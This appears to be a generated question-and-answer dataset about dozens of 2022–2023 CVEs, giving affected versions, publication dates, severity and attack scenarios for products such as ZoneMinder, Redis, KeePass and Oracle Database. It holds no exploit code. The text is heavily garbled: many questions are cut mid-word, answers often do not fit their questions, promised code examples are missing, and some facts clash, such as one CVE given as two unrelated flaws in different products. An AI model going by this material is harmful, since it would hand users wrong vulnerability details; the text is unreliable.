CVE-2022-47612 could involve an attacker crafting a malicious link that triggers a CSRF attack on a user's session. Are there explicit code examples provided for the exploitation of CVE-2022-47612? No specific code examples for the exploitation of CVE-2022-47612 have been provided. What is CV CVE-2022-34910 is a Common Vulnerabilities and Exposures (CVE) identifier for an issue tracked in the A4N (Aremis 4 Nomad) application. How does CVE-2022-34910 impact users? Users impacted by CVE-2022-34910 are at risk since their passwords are stored unencrypted in plain text. What might happen if an attacker successfully exploits CVE-2022-34910? If an attacker successfully exploits CVE-2022-34910, they could retrieve the cleartext password of the user. What are the potential attack scenarios for CVE-2022-34910? The attack scenarios for CVE-2022-34910 typically involve an attacker with physical access to the device or network. Are there references for more information regarding CVE-2022-34910? For more information regarding CVE-2022-34910, interested individuals can visit the reference URL: [https://www.cvedetails.com/cve/2022-34910/](#). What is CV CVE-2022-34909 refers to a security vulnerability found in the A4N (Aremis 4 Nomad) application. Is there a base score available for CVE-2022-34909? As of the information given, there is no Base Score available for CVE-2022-34909.

What kind CVE-2022-34909 is related to a SQL Injection vulnerability. This type of issue occurs when a user inputs data directly into a query without proper validation.

What might happen By exploiting CVE-2022-34909, an attacker could bypass the authentication mechanisms of a system.

When was CVE-2022-34909 published on 27 February 2023.

Where can More information about CVE-2022-34909 can be found on various security advisory websites.

Can you provide an example? Sure, here is a simplified example of a hypothetical code snippet vulnerable to SQL Injection:

Describe a possible attack scenario A possible attack scenario for CVE-2022-34909 would start with an attacker identifying the target and sending crafted SQL queries.

What is CVE-2023-25825 is a security vulnerability identified in ZoneMinder, which is free, open source software.

How does it work CVE-2023-25825 allows attackers to exploit ZoneMinder by injecting malicious JavaScript code into the user interface.

What version CVE-2023-25825 affects all versions of ZoneMinder prior to 1.36.33. Users of ZoneMinder should upgrade to a patched version.

What is the severity The Base Score for CVE-2023-25825 is not provided in the description. However, XSS vulnerabilities typically have a high severity score.

Has CVE-2023-25825 been patched Yes, CVE-2023-25825 has been patched in ZoneMinder version 1.36.33. It is advisable for a user to update to this version.

Where can I find the fix The commits related to the fix for CVE-2023-25825 can be found in the ZoneMinder GitHub repository.

Could you explain A possible attack scenario for CVE-2023-25825 could involve an attacker sending a crafted JavaScript payload to a user's browser.

What is CVE-2023-26033 is a security vulnerability identified in 'Gentoo soko', the software that powers the Gentoo Linux distribution.

Which versions are affected Versions prior to 1.0.1 are affected by the SQL Injection vulnerability identified in CVE-2023-26033.

How does it work The vulnerability in CVE-2023-26033 manifests itself when a user selects the 'Recently Visited' link in a menu.

What kind of attack Due to the vulnerability CVE-2023-26033, an attacker could perform SQL Injection attacks, extracting sensitive data from the database.

Can you provide an example An example of an attack using CVE-2023-26033 could involve an attacker encoding a malicious URL that triggers the SQL injection vulnerability.

What data is at risk The data at risk due to the CVE-2023-26033 vulnerability is the public data stored in the database.

What are the recommended solutions The recommended solutions to mitigate CVE-2023-26033 include upgrading Gentoo soko to a patched version.

Is the CVE-2023-26033 vulnerability patched Yes, the CVE-2023-26033 vulnerability has been patched. The patch is included in commit i.

Where can I find more information Information about the CVE-2023-26033 vulnerability can be found in the linked security advisory.

What is the severity The severity base score for CVE-2023-26033 is not specified in the provided information.

What is the severity level The severity level, or Base Score, for CVE-2023-26033 is not provided in the JSON data. The severity is likely high given the nature of the vulnerability.

Which versions are affected Versions of LiteDB prior to 5.0.13. These earlier versions are subject to the vulnerability.

What is the vulnerability The vulnerability in LiteDB associated with CVE-2022-23535 involves Deserialization of Unt

How has it been patched The vulnerability CVE-2022-23535 has been patched in LiteDB version 5.0.13 with some ba

Are there workarounds Yes, there are workarounds for CVE-2022-23535 detailed in the vendor advisory. However, they may not fully mitigate the risk.

What was the publication date CVE-2022-23535 was published on 24 February 2023.

Can you provide an example An attacker could exploit CVE-2022-23535 by crafting a malicious JSON string that includes a script payload.

What is the CVE ID The CVE ID for this vulnerability is CVE-2022-23535.

What is the vulnerability CVE-2022-23535 describes a CWE-117: Improper Output Neutralization for Logs vulnerability.

Which products are affected The products affected by CVE-2022-23535 include EcoStruxure Geo SCADA Expert 2019, 202

What is the default port The default web port that is vulnerable to CVE-2022-23535 is port 443, which is typically used for HTTPS.

When was CVE-2022-23535 published on 24 February 2023.

Where can I find more information More information and a detailed report regarding CVE-2022-23535 can be found at the following link: [link]

What kind of attack Attack scenarios for CVE-2022-23535 could involve an attacker sending specially crafted payloads to the affected systems.

What is the vulnerability CVE-2022-48282 is a vulnerability found in the MongoDB .NET/C# Driver which, under very specific circumstances, can lead to remote code execution.

What are the conditions For CVE-2022-48282 to be exploitable, the following conditions must be met: 1) A C# application is running on a system with the MongoDB .NET/C# Driver installed.

Which versions are affected All versions of the MongoDB .NET/C# Driver up to and including version 2.1.0 are affected.

How can it be mitigated The mitigation for CVE-2022-48282 involves updating the MongoDB .NET/C# Driver to version 2.1.1 or later.

What was the publication date CVE-2022-48282 was published on 21 February 2023.

Where can I find more information More information about the changes that address CVE-2022-48282 can be found in the MongoDB documentation.

Can you provide an example In an attack scenario for CVE-2022-48282, a malicious user with insert access to a MongoDB collection can execute arbitrary code.

What is the base score for CVE-2022-48282 is not provided in the supplied information. To find the vulnerability found in the WP Coder plugin for WordPress is identified with the CVE ID CVE-2023-0895 affects versions up to, and including, 2.5.3 of the WP Coder plugin for WordPress. How does CVE-2023-0895 is a time-based SQL Injection vulnerability in the WP Coder plugin for WordPress. Which part The 'id' parameter is involved in the SQL Injection vulnerability described by CVE-2023-0895? What privilege To exploit the vulnerability described in CVE-2023-0895, the attacker must have administrative privileges. When was The CVE-2023-0895 vulnerability was published on 17 February 2023.

Where can More information and the patch for CVE-2023-0895 can be found through the provided reference link. Can you provide an attack scenario for exploiting CVE-2023-0895 could involve an attacker, who already possesses the base score for CVE-2023-0895 has not been provided or is not available ('N/A').

What is the CVE ID for this vulnerability is CVE-2022-40678.

Which versions of Fortinet FortiNAC are affected? The affected versions of Fortinet FortiNAC are 9.4.0, 9.2.0 through 9.2.5, 9.1.0 through 9.1.1. What type of attacker might exploit the vulnerability mentioned in CVE-2022-40678? A local attacker with access to the database might exploit the vulnerability mentioned in CVE-2022-40678. What might happen if an attacker exploits CVE-2022-40678? By exploiting the vulnerability CVE-2022-40678, a local attacker with database access could gain unauthorized access to sensitive data. When was the vulnerability CVE-2022-40678 published? The vulnerability CVE-2022-40678 was published on 16 February 2023.

Are there any additional details about CVE-2022-40678? Yes, additional information about CVE-2022-40678 can be found at the following URL: <http://www.fortinet.com/cve-2022-40678>.

What can happen if an attacker successfully exploits CVE-2022-40678? If an attacker successfully exploits CVE-2022-40678, the consequences could include unauthorized access to sensitive data.

Has Fortinet released any patches for CVE-2022-40678? Concerning CVE-2022-40678, Fortinet usually releases updates and patches for their products on a regular basis.

What is the CVSS base score for CVE-2022-26115? CVE-2022-26115 is a security vulnerability that was identified in FortiSandbox before version 4.0.0.

How can CVE-2022-26115 be exploited by an attacker if they gain access to the password database?

What is the primary weakness type of CVE-2022-26115? The primary weakness type of CVE-2022-26115 is cited as 'use of password hash with insufficient salt'.

What are the steps to mitigate CVE-2022-26115? To mitigate CVE-2022-26115, users of FortiSandbox should update their software to version 4.0.0 or later.

What systems are affected by CVE-2022-26115? Systems affected by CVE-2022-26115 are those running versions of FortiSandbox prior to 4.0.0.

Has CVE-2022-26115 been assigned a CVSS base score? As of the information provided, CVE-2022-26115 has not been assigned a CVSS base score.

Where can further details about CVE-2022-26115 be found? Further details about CVE-2022-26115 can be found in the official advisory released by Fortinet.

What is the CVSS base score for CVE-2023-23926? CVE-2023-23926 is a reported vulnerability in the APOC (Awesome Procedures on Cypher).

How does CVE-2023-23926 manifest? The XXE vulnerability in CVE-2023-23926 manifests within the apoc.import.graphml procedure.

What are the impacts of CVE-2023-23926? The impacts of CVE-2023-23926 can be significant. It could allow an attacker to read local files.

Can you provide an example of how an XXE attack could exploit CVE-2023-23926? Certainly, below is a simplified example illustrating how a basic XXE attack could exploit CVE-2023-23926.

What can users do to mitigate CVE-2023-23926? Users who cannot immediately upgrade to the patched version, which is 5.5.0 or newer, can apply patches to their existing installations.

Where can users look to patch the CVE-2023-23926 vulnerability? Users looking to patch the CVE-2023-23926 vulnerability can do so by updating the APOC module to version 5.5.0 or later.

Was there a proof-of-concept (PoC) available during testing? Yes, during testing, it was possible to demonstrate the XXE vulnerability of CVE-2023-23926.

Is there a Base Score provided for CVE-2023-23926? No, at the time of its publication, there was no Base Score provided for CVE-2023-23926.

What is the CVSS base score for CVE-2023-25149? CVE-2023-25149 is a privilege escalation vulnerability found in TimescaleDB, an open-source PostgreSQL extension.

How can CVE-2023-25149 be exploited? To exploit CVE-2023-25149, a user must have the ability to create objects in a database and alter them.

In which versions is CVE-2023-25149 present? CVE-2023-25149 is present in TimescaleDB versions 2.8.0 through 2.9.2. It has been addressed in version 2.9.3.

What are mitigation strategies for CVE-2023-25149? One mitigation strategy for CVE-2023-25149 is to lock down the `search_path` of the user to prevent privilege escalation.

Is CVE-2023-25149 exploitable on all instances of TimescaleDB? No, CVE-2023-25149 is not exploitable on instances in Timescale Cloud and Managed Services.

What is the impact of CVE-2023-25149? The impact of CVE-2023-25149 could be significant as it allows for privilege escalation. An attacker could gain elevated privileges on the database.

Where can the official fix for CVE-2023-25149 be found? The official fix for CVE-2023-25149 can be found in the TimescaleDB 2.9.3 release. The release notes provide detailed instructions for upgrading.

Can you provide an example scenario for exploiting CVE-2023-25149? An example scenario for exploiting CVE-2023-25149 could involve a malicious user first creating a trigger that inserts data into a specific table.

What information is contained in the CVE-2023-25149 information page? The information page for CVE-2023-25149 contains information about a privilege escalation vulnerability in TimescaleDB.

What is the CVE ID of the vulnerability affecting SAP GRC (Process Control)? The CVE ID of the vulnerability affecting SAP GRC (Process Control) is CVE-2023-0019.

Which versions of SAP GRC (Process Control) are affected? The affected versions of SAP GRC (Process Control) by CVE-2023-0019 are GRCFND_A V120 and GRCFND_B V120.

What is the Exploiting CVE-2023-0019 in vulnerable SAP GRC (Process Control) systems can allow an attacker to gain unauthorized access to sensitive data. An attacker would need to be authenticated with minimal privileges to exploit the vulnerability.

What was CVE-2023-0019 published on 14 February 2023.

Where can Official advisories and more information about CVE-2023-0019 can be found at SAP's support portal?

Can you provide an example attack scenario for CVE-2023-0019? An example attack scenario for CVE-2023-0019 would involve an authenticated user with low-level privileges executing a SQL injection query to extract sensitive data from the database.

What is CVE-2023-23948 associated with a SQL injection vulnerability found in the ownCloud Android app?

Which version of CVE-2023-23948 impacts version 2.21.1 of the ownCloud Android app? The 'filelist' database table is affected.

What are the potential consequences of the vulnerability CVE-2023-23948? The vulnerability CVE-2023-23948 can lead to unauthorized information disclosure due to SQL injection.

Which databases are affected by the SQL injection vulnerability in CVE-2023-23948? The SQL injection vulnerability in CVE-2023-23948 affects two databases named 'filelist' and 'files'.

Can you provide more information on CVE-2023-23948? For more information on CVE-2023-23948, you can refer to the advisory published by GitHub.

What kind of attack could be carried out against CVE-2023-23948? An exploiter could carry out a SQL injection attack on CVE-2023-23948. By manipulating input parameters, an attacker could execute arbitrary SQL queries.

Has CVE-2023-23948 been assigned a CVSS base score? As of the information provided, CVE-2023-23948 has not been assigned a CVSS base score.

When was CVE-2023-23948 published? The vulnerability CVE-2023-23948 was published on 13 February 2023.

What is CVE-2022-41731? CVE-2022-41731 refers to a security vulnerability identified in IBM Watson Knowledge Catalog.

Which IBM software is affected by CVE-2022-41731? The IBM software affected by CVE-2022-41731 is IBM Watson Knowledge Catalog on Cloud Pak for Data.

How can CVE-2022-41731 be exploited? CVE-2022-41731 can be exploited by a remote attacker who sends specially-crafted SQL statements.

Has IBM acknowledged the vulnerability? Yes, IBM has acknowledged the vulnerability described in CVE-2022-41731, as evidenced by their public statement.

What might an attacker gain by exploiting CVE-2022-41731? An attacker exploiting CVE-2022-41731 could potentially gain unauthorized access to view sensitive data.

Are there any public references available to understand CVE-2022-41731? Yes, there are public references available to understand CVE-2022-41731. These include the IBM Security Advisory and the official documentation.

When was CVE-2022-41731 published? The vulnerability CVE-2022-41731 was published on 12 February 2023.

What are the mitigation steps to prevent CVE-2022-41731? To mitigate CVE-2022-41731, users of IBM Watson Knowledge Catalog on Cloud Pak for Data should apply the patch or update to the affected version.

Can you provide specific details of the code vulnerable to CVE-2022-41731? While specific details of the code vulnerable to CVE-2022-41731 are not provided, a conceptual diagram shows the flow of data from user input through the application logic to the database.

What are the attack scenarios associated with CVE-2022-41731? Attack scenarios associated with CVE-2022-41731 could include an attacker crafting malicious SQL queries to extract sensitive data.

What is CVE-2022-34388? CVE-2022-34388 refers to a security vulnerability found in Dell SupportAssist for Home PCs.

Which software is affected by CVE-2022-34388? Dell SupportAssist for Home PCs up to version 3.11.4 and SupportAssist for Business PCs up to version 3.11.1 are affected.

What type of vulnerability is CVE-2022-34388? CVE-2022-34388 is classified as an information disclosure vulnerability, which poses a risk to user privacy.

How could an attacker exploit CVE-2022-34388? A malicious actor could potentially exploit CVE-2022-34388 by obtaining low-level user account credentials.

Has Dell provided any documentation addressing CVE-2022-34388? Yes, Dell has provided documentation addressing CVE-2022-34388, which can be found at the Dell Support website.

When was CVE-2022-34388 published? The published date for CVE-2022-34388 is 11 February 2023.

Are there any direct code examples for exploiting CVE-2022-34388? Direct code examples for exploiting CVE-2022-34388 are generally not provided in an effort to prevent exploitation.

What are the possible attack scenarios for CVE-2022-34388? Possible attack scenarios for CVE-2022-34388 include a local attacker gaining low-level access to sensitive data stored in the database.

What is CVE-2023-22794? CVE-2023-22794 is a security vulnerability in ActiveRecord, a component of Ruby on Rails.

How can an attacker exploit CVE-2023-22794? To exploit CVE-2023-22794, an attacker can pass malicious input to the 'annotate' query method.

When was CVE-2023-22794 published? CVE-2023-22794 was published on 09 February 2023.

Can you provide a simplified code example for CVE-2023-22794? Certainly. Here is a simplified code example that may be vulnerable to CVE-2023-22794 due to the use of the 'annotate' query method.

What are the fixed versions of ActiveRecord for CVE-2023-22794? The fixed versions of ActiveRecord for CVE-2023-22794 are 6.0.6.1, 6.1.7.1, and 7.0.4.1. Users should upgrade to one of these versions to mitigate the risk.

Are there any external references for CVE-2023-22794? Yes, external references provide more information about CVE-2023-22794. These include the official security advisory and the GitHub repository for the vulnerability.

What is the impact of the SQL injection vulnerability, such as CVE-2023-22794, can be severe. Attackers can extract sensitive data or modify existing data.

What is CVE-2022-43761? CVE-2022-43761 refers to a security vulnerability affecting the B&R APROL system in version 4.2.0.

When was CVE-2022-43761 published? CVE-2022-43761 was published on 08 February 2023.

What is the impact of CVE-2022-43761? The impact of CVE-2022-43761 is significant because it does not require authentication for exploitation.

Which versions of B&R APROL are affected by CVE-2022-43761? CVE-2022-43761 is associated with B&R APROL versions earlier than R 4.2-07. Systems running these versions are at risk.

Are there any official documents for CVE-2022-43761? Yes, more information on CVE-2022-43761 can be found in the official document provided by B&R.

Has a CVSS base score been assigned to CVE-2022-43761? As of the provided information, there is no base score assigned to CVE-2022-43761. Assessments are ongoing.

Can you pr While I cannot provide a specific code example, an attacker might exploit CVE-2022-43761
What are t Possible attack scenarios for CVE-2022-43761 include unauthorized access to system config
What is CV CVE-2023-23944 is a security vulnerability in the Nextcloud Mail app, where user password
Which vers Versions of the Nextcloud Mail app prior to 2.2.2 are affected by CVE-2023-23944.

What is the It is recommended to upgrade the Nextcloud Mail app to version 2.2.2 to mitigate the secu

Are there k No, there are no known workarounds for the security issue identified by CVE-2023-23944.

What are t Potential attack scenarios for CVE-2023-23944 include an attacker gaining unauthorized ac

What is the The impact of CVE-2023-23944 is significant, as it involves the exposure of user passwords

Where can More information about CVE-2023-23944 can be found through the provided references, v

What is the The CVE ID for the vulnerability concerning the use of hard-coded credentials is CVE-2022-

What type CVE-2022-42973 describes a vulnerability of type CWE-798, which stands for Use of Hard-c

Which pro The products affected by CVE-2022-42973 include APC Easy UPS Online Monitoring Softwa

What pote If exploited, the CVE-2022-42973 vulnerability could cause local privilege escalation, allow

What are t To mitigate CVE-2022-42973, users should update the affected APC Easy UPS Online Monit

When was The CVE-2022-42973 vulnerability was publicly disclosed on 01 February 2023.

Where can Detailed information about CVE-2022-42973 can be found in the security and safety notice

Can you ex In an attack scenario exploiting CVE-2022-42973, a local attacker with access to the system

Is there a C At the time of the provided information, there is no CVSS Base Score available for CVE-202

What is the The CVE ID for the vulnerability is CVE-2023-22611.

What type CVE-2023-22611 is identified as a CWE-200: Exposure of Sensitive Information to an Unaut

What kind CVE-2023-22611 leads to an information disclosure issue when specific messages are sent

Which pro The affected products by CVE-2023-22611 are EcoStruxure Geo SCADA Expert 2019 - 2021,

What is the CVE-2023-22611 was published on 31 January 2023.

Are there a Yes, an official reference provided for CVE-2023-22611 is the security and safety notice ava

Has CVE-20 As of the provided information, CVE-2023-22611 has not been assigned a Base Score.

Describe a A potential attack scenario for CVE-2023-22611 involves an unauthorized actor sending cra

What is the The CVE ID for the vulnerability is CVE-2023-22610.

Can you de CVE-2023-22610 refers to a vulnerability stemming from CWE-863, Incorrect Authorization

What type CVE-2023-22610 is classified as a vulnerability related to Incorrect Authorization, more for

When was The CVE-2023-22610 vulnerability was publicly disclosed on the 31st of January, 2023.

Where can More details or the security advisory for CVE-2023-22610 can be found in the PDF docume

Has the ba: As of the available information, the base score for CVE-2023-22610 has not been assigned,

What coul A potential attack scenario for CVE-2023-22610 would involve an attacker exploiting the in

Are there a Since CVE-2023-22610 is a vulnerability reported on a specific product, which is the Geo SC

What is the The CVE ID for the Incorrect Authorization vulnerability discovered in Apache IoTDB is CVE

Which com The iotdb-web-workbench component of Apache IoTDB is affected by the vulnerability CVEI

What versi Versions from 0.13.0 up to before 0.13.3 of iotdb-web-workbench are impacted by CVE-20

How has A| The vulnerability CVE-2023-24829 has been addressed by Apache IoTDB with a fix starting

When was The CVE-2023-24829 vulnerability was made public on 31 January 2023.

Can you pr For more information on CVE-2023-24829, you can refer to the Apache mailing list thread :

What is the CVE-2023-24829 is an Incorrect Authorization vulnerability in Apache IoTDB that affects th

What are t Possible attack scenarios associated with CVE-2023-24829 might involve an unauthorized i

What is CV CVE-2022-44645 refers to a deserialization vulnerability in Apache Linkis versions 1.3.0 and

How can C CVE-2022-44645 can be mitigated by upgrading Apache Linkis to version 1.3.1 or above, w

What are the risk associated with CVE-2022-44645 includes the possibility of remote code execution. In which version of Apache Linkis does CVE-2022-44645 affect?

What date was CVE-2022-44645 published?

Where can more information about CVE-2022-44645 be found on the Apache mailing list archive?

What kind of vulnerability is CVE-2022-44645 classified as?

Describe a possible attack scenario for CVE-2022-44645.

What should be done to prevent issues related to CVE-2022-44645?

What is the Base Score assigned to CVE-2022-44645?

What is CVE-2023-22900?

When was CVE-2023-22900 published?

What type of vulnerability is CVE-2023-22900?

How can an attacker exploit CVE-2023-22900?

What is the base score for CVE-2023-22900?

Where can more information on CVE-2023-22900 be found?

Can you describe a potential attack scenario for CVE-2023-22900?

What is CVE-2023-22332?

What versions of Pgpool-II is CVE-2023-22332 affected by?

What are the consequences of exploiting CVE-2023-22332?

What measures should be taken to mitigate risks associated with CVE-2023-22332?

Where can more information about CVE-2023-22332 be found?

What are possible attack scenarios for CVE-2023-22332?

Has a base score been assigned to CVE-2023-22332?

What is CVE-2023-22324?

What are the consequences of the SQL injection vulnerability in CONPROSYS HMI System?

What is the impact of the SQL injection vulnerability in CVE-2023-22324?

Has a base score been assigned to CVE-2023-22324?

When was CVE-2023-22324 published?

Can you provide a link to the advisory for CVE-2023-22324?

Are there any public references available for CVE-2023-22324?

Could you describe a possible attack scenario for CVE-2023-22324?

What system is affected by CVE-2023-22324?

What is the open-source discussion platform affected by CVE-2023-23616?

What versions of Discourse are affected by CVE-2023-23616?

What causes the vulnerability in Discourse?

How was CVE-2023-23616 addressed?

Could CVE-2023-23616 be used for a Denial-of-Service (DoS) attack?

On what date was CVE-2023-23616 published?

Provide a reference to more information about CVE-2023-23616.

Discuss a possible attack scenario for CVE-2023-23616.

What is the CVE ID for the reported vulnerability in Econolite EOS software?

Can you provide a link to the advisory for CVE-2023-0451?

Has a CVSS score been assigned to CVE-2023-0451?

What actions should be taken to mitigate the impact of CVE-2023-0451?

When was CVE-2023-0451 published?

What potential impact does CVE-2023-0451 have on Econolite EOS systems?

Can you pr In CVE-2023-0451, an attacker could exploit the vulnerability by gaining readonly access to What is CV CVE-2023-24055 refers to a security vulnerability discovered in KeePass password manage How might To exploit the vulnerability in CVE-2023-24055, an attacker needs to have write access to t Has the vei The KeePass vendor has acknowledged the issue reported in CVE-2023-24055 but has also What are t The potential attack scenarios for CVE-2023-24055 include cases where an attacker has ph What mea: To mitigate the risks associated with CVE-2023-24055, users should ensure that their comp When was CVE-2023-24055 was published on 22 January 2023.

Where can More information about CVE-2023-24055 can be found in several online resources includir What is CV CVE-2023-22458 refers to a security vulnerability found in the Redis in-memory database. Which vers Redis versions affected by CVE-2023-22458 include versions 6.2 or newer up to but not inc How can C To mitigate CVE-2023-22458, users should upgrade their Redis installation to version 6.2.9 Are there a There are no known workarounds for CVE-2023-22458. The advised solution is to upgrade What kind CVE-2023-22458 allows an authenticated attacker to perform a denial-of-service (DoS) att On what d: CVE-2023-22458 was publicly disclosed on 20 January 2023.

Provide a s More information about CVE-2023-22458 can be found on the following sources: - Redis's (Describe a In a potential attack scenario for CVE-2023-22458, an attacker who has gained authenticat Is CVE-202: CVE-2023-22458 is associated with an attack that requires user privileges, specifically, an a What kind CVE-2023-22458 can trigger an assertion failure that causes the Redis server to crash. The What is th: The CVE ID of the vulnerability found in Redis is CVE-2022-35977.

Can you pr The CVE-2022-35977 vulnerability in Redis occurs when authenticated users issue specially Have any v Yes, the vulnerability CVE-2022-35977 has been addressed in Redis versions 7.0.8, 6.2.9, ai Is there a k There are no known workarounds for the CVE-2022-35977 vulnerability in Redis. The recor Where can Information and advisories about CVE-2022-35977 can be found through the following link What are t Potential attack scenarios for CVE-2022-35977 include an authenticated attacker deliberat What is CV CVE-2022-38110 refers to a security vulnerability discovered in the Database Performance Which vers CVE-2022-38110 affects Database Performance Analyzer (DPA) version 2022.4 and all olde When was CVE-2022-38110 was published on January 20, 2023.

Where can More information and potential fixes for CVE-2022-38110 can be found through the follow What is the As of the data provided, there is no base score assigned to CVE-2022-38110 yet. Can you de A potential attack scenario for CVE-2022-38110 would involve an attacker crafting a malici Is CVE-202: CVE-2022-38110 is a remote vulnerability as it can be exploited through the web via specif What is CV CVE-2023-20010 is a vulnerability in the web-based management interface of Cisco Unifie How can C An attacker can exploit CVE-2023-20010 by authenticating to the Cisco web-based manage What impa A successful exploit of CVE-2023-20010 could allow the attacker to read or modify any dat: When was CVE-2023-20010 was published on 20 January 2023.

Where can More information about CVE-2023-20010 can be found in the official Cisco security advisor What are t Possible attack scenarios for CVE-2023-20010 include an attacker with valid low-level user What kind CVE-2023-20010 is classified as an SQL Injection vulnerability, which is a type of injection fl Is there a c Since each system and configuration can be different, there is no generic code example av. What is th: The CVE ID for the discovered vulnerability is CVE-2023-0040.

What kind CVE-2023-0040 describes a vulnerability referred to as CRLF (Carriage Return Line Feed) in Which vers CVE-2023-0040 affects versions of Async HTTP Client prior to 1.13.2.

What actio Users become vulnerable as per CVE-2023-0040 when they pass untrusted data into HTTP What are t The consequences of the CRLF injection vulnerability in CVE-2023-0040 could lead to logicā

Can CVE-2023-0040 generally result in data disclosure, it could cause various issues.
When was The CVE-2023-0040 vulnerability published on the 18th of January, 2023.

Where can More information about CVE-2023-0040 can be found at the following URL: <https://github.com>

What should users do To mitigate the impact of CVE-2023-0040, users should upgrade to version 1.13.2 of Async

Can you provide more details? Certainly. Below is an example of a code snippet that could be vulnerable to the CRLF injection

What possible attack scenarios for CVE-2023-0040 include the following:
1. An attacker submits a user name and password containing a CRLF character.

What is CVE-2022-45444 refers to a security vulnerability found in Sewio's Real-Time Location System (RTLS) Studio

When was CVE-2022-45444 published on the 18th of January 2023.

What impact could CVE-2022-45444 have on the security of the affected systems, as it involves hard-coded passwords.

What system does CVE-2022-45444 specifically affect? Sewio's Real-Time Location System (RTLS) Studio version 1.13.2.

How can an attacker exploit CVE-2022-45444 by using the hard-coded passwords present within the application?

What is the base score for CVE-2022-45444? The base score for CVE-2022-45444 is currently not available ('N/A'). A base score is typically used to represent the inherent severity of a vulnerability.

Where can More information about CVE-2022-45444 can be found in the advisory posted on the US-CERT website?

What are the potential attack scenarios for CVE-2022-45444? Addressing CVE-2022-45444 would likely involve deploying a patch or update provided by the vendor.

Are there any mitigations? Since we're dealing with hard-coded passwords in CVE-2022-45444 and not an issue that can be easily mitigated by changing the code, the best mitigation is to apply the patch.

What are the CVSS scores? Potential attack scenarios for CVE-2022-45444 include an attacker remotely accessing the system to change configuration settings.

What is the CVE ID? The CVE ID is CVE-2023-21893.

Which versions of Oracle Database Server are affected by CVE-2023-21893? The affected versions of Oracle Database Server by CVE-2023-21893 are 19c and 21c.

What kind of interaction is required to exploit the vulnerability? To exploit the vulnerability CVE-2023-21893, an attacker needs unauthenticated network access to the database server.

Is user interaction required? Yes, user interaction from a person other than the attacker is required to successfully exploit the vulnerability.

What is the outcome of a successful attack? A successful attack of the vulnerability described by CVE-2023-21893 can result in a take-over of the database instance.

Does CVE-2023-21893 also apply to Database client-only installations on the Windows platform? Yes, CVE-2023-21893 also applies to Database client-only installations on the Windows platform.

Can you provide more details? Can you provide more details? The CVSS 3.1 Base Score for CVE-2023-21893 is 7.5, denoting high severity.

What are the impacts? The impacts on confidentiality, integrity, and availability are all rated high for CVE-2023-21893.

When was CVE-2023-21893 published? CVE-2023-21893 was published on 18 January 2023.

Where can More information about CVE-2023-21893 can be found at Oracle's security alert page at <https://www.oracle.com/security-alerts/cpu-jan-2023.html#CVE-2023-21893>

What type of attack is possible? An attacker could carry out a remote attack to compromise and potentially take control of the database instance.

What is CVE-2023-21829? CVE-2023-21829 is a security vulnerability in the Oracle Database RDBMS Security component.

Which versions of Oracle Database Server are affected by CVE-2023-21829? The affected versions of Oracle Database Server by CVE-2023-21829 are 19c and 21c.

What privileges are required to exploit CVE-2023-21829? To exploit CVE-2023-21829, an attacker requires low-level privileges, specifically the 'Create Session' privilege.

Is human interaction required? Yes, human interaction from someone other than the attacker is required for the successful exploitation of the vulnerability.

What are the potential attack scenarios? If an attack using CVE-2023-21829 is successful, it can result in unauthorized creation, deletion, or modification of data.

What is the CVSS 3.1 Base Score for CVE-2023-21829? The CVSS 3.1 Base Score for CVE-2023-21829 is 6.3, indicating that it has an impact on confidentiality.

What is the CVSS Vector string for CVE-2023-21829? The CVSS Vector string for CVE-2023-21829 is (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/

When was CVE-2023-21829 published? CVE-2023-21829 was published on 18 January 2023.

Are there any mitigations? Yes, details about CVE-2023-21829 can be found on Oracle's official website through their security alert page.

Can you provide more details? A potential attack scenario for CVE-2023-21829 could involve an attacker with the 'Create Session' privilege.

What is CVE-2023-21827? CVE-2023-21827 is a security vulnerability identified in the Oracle Database Data Redaction feature.

Which versions of Oracle Database Server are affected by CVE-2023-21827? The Oracle Database Server versions affected by CVE-2023-21827 are the 19c and 21c versions.

What privileges are required to exploit CVE-2023-21827? To exploit CVE-2023-21827, an attacker would need to have the Create Session privilege and the Data Redaction privilege.

What type of attack is possible? A successful attack on CVE-2023-21827 can grant an attacker unauthorized read access to sensitive data.

What is the CVSS base score for CVE-2023-21827? The CVSS base score for CVE-2023-21827 is 4.3, indicating a medium level of severity, primarily impacting confidentiality.

What is the CVSS vector for CVE-2023-21827? The CVSS vector for CVE-2023-21827 is (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N), indicating no impact on availability.

When was CVE-2023-21827 published? CVE-2023-21827 was published on 18 January 2023.

Where can More information about CVE-2023-21827 can be found in the Oracle Security Alert at the f
Can you pr An example attack scenario for CVE-2023-21827 might involve a low-privileged user who h
How can C' CVE-2023-21827 can affect the confidentiality of data by allowing an attacker with the nec
What is t The CVE ID for the vulnerability in the Java VM component of Oracle Database Server is CV
Which vers The Oracle Database Server versions affected by CVE-2022-39429 are 19c and 21c.

What type To exploit the vulnerability CVE-2022-39429, an attacker would need low privileged access
How can ai An attacker can gain network access via Oracle Net to exploit the CVE-2022-39429 vulnera
What type Successful attacks exploiting CVE-2022-39429 can result in an unauthorized ability to cause
What is t The CVE-2022-39429 has a CVSS 3.1 Base Score of 4.3, indicating that the impacts are prim
What does The CVSS Vector for CVE-2022-39429 is (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L),
When was The CVE-2022-39429 vulnerability was published on 18 January 2023.

Where can More information about CVE-2022-39429 can be found in the security alert published by O
Can you gi An example of a possible attack scenario for CVE-2022-39429 would be an attacker with 'C
What is CV CVE-2023-23749 refers to a security vulnerability identified in the 'LDAP Integration with A
What type CVE-2023-23749 is classified as an LDAP Injection vulnerability. It occurs when input data i
What are t The LDAP Injection vulnerability identified by CVE-2023-23749 could potentially allow an a
How can C' To mitigate CVE-2023-23749, users of the vulnerable extension should ensure they update
Was there Information regarding a specific patch release for CVE-2023-23749 is not provided in the C
What is LD LDAP Injection is a type of attack that exploits a security vulnerability in applications that c
Can you pr An example of an attack scenario for CVE-2023-23749 would involve an attacker crafting a
Could CVE- Yes, CVE-2023-23749 could potentially allow an attacker to access privileged information f
When was CVE-2023-23749 was published on 17 January 2023.

Where can More information on CVE-2023-23749 can be found at the link provided in the CVE descrip
What is t The CVE ID for the critical vulnerability found in MNBikeways database is CVE-2015-10060.
What type The vulnerability associated with CVE-2015-10060 is an SQL injection vulnerability.

How does t The vulnerability in CVE-2015-10060 manifests through the manipulation of the argument
What is t To mitigate the vulnerability described in CVE-2015-10060, it is recommended to apply a p
Where can The patch for CVE-2015-10060 can be found on GitHub at the following link: <https://github.com>
